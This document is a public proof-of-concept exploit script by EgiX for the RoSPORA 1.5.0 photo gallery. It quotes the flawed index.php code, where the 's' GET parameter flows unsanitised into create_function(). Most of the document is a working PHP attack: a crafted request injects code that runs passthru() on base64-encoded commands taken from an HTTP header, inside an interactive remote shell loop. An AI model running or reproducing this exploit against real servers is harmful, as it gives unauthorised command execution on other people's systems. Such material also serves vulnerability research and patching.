RoSPORA 1.5.0 – Remote PHP Code Injection
<?php /* -------------------------------------------------- RoSPORA <= 1.5.0 Remote PHP Code Injection Exploit -------------------------------------------------- author...: EgiX mail.....: n0b0d13s[at]gmail[dot]com link.....: http://code.google.com/p/rospora/ This PoC was written for educational purpose. Use it at your own risk. Author will be not responsible for any damage. [-] vulnerable code in /index.php 667. if (!$sort = &$_GET['s']) $sort=0; 668. if (!$flag = &$_GET['f']) $flag=0; 669. if ($flag==0) { $flag=1; $sort_type='<'; } 670. else { $flag=0; $sort_type='>'; } 671. $link=$_SERVER['PHP_SELF']."?f=".$flag."&s="; 672. 673. if (!empty($pl_array)) 674. { 675. usort($pl_array, create_function('$a, $b', 'if ( $a['.$sort.'] == $b['.$sort.'] ) return 0; if ( $a['.$sort.'] '.$sort_type.' $b['.$sort.'] ) return -1; return 1;')); 676. } Input parameter passed through $_GET['s'] isn't properly sanitised before being used in a call to "create_function()" at line 675. This can be exploited to inject and execute arbitrary PHP code. */ error_reporting(0); set_time_limit(0); ini_set("default_socket_timeout", 5); function http_send($host, $packet) { if (!($sock = fsockopen($host, 80))) die("\n[-] No response from {$host}:80\n"); fputs($sock, $packet); return stream_get_contents($sock); } print "\n+------------------------------------------------------------+"; print "\n| RoSPORA <= 1.5.0 Remote PHP Code Injection Exploit by EgiX |"; print "\n+------------------------------------------------------------+\n"; if ($argc < 3) { print "\nUsage......: php $argv[0] host path\n"; print "\nExample....: php $argv[0] localhost /"; print "\nExample....: php $argv[0] localhost /rospora/\n"; die(); } $host = $argv[1]; $path = $argv[2]; $code = "0]);}error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die;%%23"; $packet = "GET {$path}?s={$code} HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cmd: %s\r\n"; $packet .= "Connection: close\r\n\r\n"; while(1) { print "\nrospora-shell# "; if (($cmd = trim(fgets(STDIN))) == "exit") break; $response = http_send($host, sprintf($packet, base64_encode($cmd))); preg_match("/_code_/", $response) ? print array_pop(explode("_code_", $response)) : die("\n[-] Exploit failed...\n"); } ?> |